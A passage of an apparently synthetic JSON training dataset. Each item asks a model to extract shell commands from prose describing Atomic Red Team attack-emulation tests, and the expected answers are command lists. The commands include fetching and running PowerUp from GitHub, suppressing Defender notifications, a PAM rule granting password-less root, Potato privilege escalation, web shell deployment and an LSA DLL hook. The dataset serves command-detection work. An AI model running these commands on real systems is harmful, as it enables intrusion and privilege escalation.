AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd; When svchost.exe writes a non-Microsoft Office file to a UNC path, the following commands are executed: copy C:\\Windows\\System32\\cmd.exe C:\\svchost.exe\nC:\\svchost.exe /c echo T1105 > \\\\localhost\\c$\\T1105.txt\n", "output": "{\"command_list\": [\"pushd #{destination_path}\\necho var fileObject = WScript.createobject(\\\"Scripting.FileSystemObject\\\");var newfile = fileObject.CreateTextFile(\\\"AtomicTestFileT1105.js\\\", true);newfile.WriteLine(\\\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\\\");newfile.Close(); > AtomicTestT1105.js\\nCScript.exe AtomicTestT1105.js //E:JScript\\ndel AtomicTestT1105.js /Q >nul 2>&1\\ndel AtomicTestFileT1105.js /Q >nul 2>&1\\npopd\\n\", \"copy C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\svchost.exe\\nC:\\\\svchost.exe /c echo T1105 > \\\\\\\\localhost\\\\c$\\\\T1105.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To insert a rule into a PAM config and test it, use the following command: sudo sed -i \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n; Upon successful execution, a rule allowing password-less su to root for all users will be inserted into the PAM config with this command: sudo sed -i \"\" \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n", "output": "{\"command_list\": [\"sudo sed -i \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\", \"sudo sed -i \\\"\\\" \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Azorult malware has been known to abuse this technique (see https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/), which involves modifying the registry with the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration\" /v Notification_Suppress /t REG_DWORD /d 1 /f; To enable RDP remote assistance for the current user, use the following command in the cmd console: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\UX Configuration\\\" /v Notification_Suppress /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To hide a file in macOS, you'll need Apple Dev Tools installed and then run the following command: setfile -a V #{filename}\n; On MacOS systems, directories can be hidden with the following two-step command: touch /var/tmp/T1564.001_mac.txt\nchflags hidden /var/tmp/T1564.001_mac.txt", "output": "{\"command_list\": [\"setfile -a V #{filename}\\n\", \"touch /var/tmp/T1564.001_mac.txt\\nchflags hidden /var/tmp/T1564.001_mac.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This operation retrieves all certificate items and writes them to a file in PEM format via the command: security find-certificate -a -p > #{cert_export}; To import a certificate pem file into a keychain, use the following command: security import #{cert_export} -k", "output": "{\"command_list\": [\"security find-certificate -a -p > #{cert_export}\\n\", \"security import #{cert_export} -k\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To set up a proxy on the endpoint, add a registry key at HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\\v4tov4 using the following command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}; The test demonstrates how an adversary might deploy Web Shells, using the cmd.aspx source from tennc's GitHub repository, by executing: xcopy /I /Y \"#{web_shells}\" #{web_shell_path}\n", "output": "{\"command_list\": [\"netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}\", \"xcopy /I /Y \\\"#{web_shells}\\\" #{web_shell_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For privilege escalation through named pipes, execute this multi-step command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n; To achieve privilege escalation using Juicy Potato, as seen in SnapMC Ransomware and other campaigns, use this command to execute a process with system privileges: cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\n", "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nStart-Process .\\\\BadPotato.exe notepad.exe\\nStart-Sleep -Second 20\\nStop-Process -Name \\\"notepad\\\" -force -erroraction silentlycontinue\\nStop-Process -Name \\\"BadPotato\\\" -force -erroraction silentlycontinue\\n\", \"cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The process involves copying the JavaScript file to a temporary directory and then compiling it with jsc.exe using this command sequence:\ncopy \"#{filename}\" %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n; The registry key will be modified to point to a specified DLL path upon execution of this command: New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"", "output": "{\"command_list\": [\"copy \\\"#{filename}\\\" %TEMP%\\\\LibHello.js\\n#{jscpath}\\\\#{jscname} /t:library %TEMP%\\\\LibHello.js\\n\", \"New-ItemProperty -Path HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS -Name LsaDbExtPt -Value \\\"#{dll_path}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item 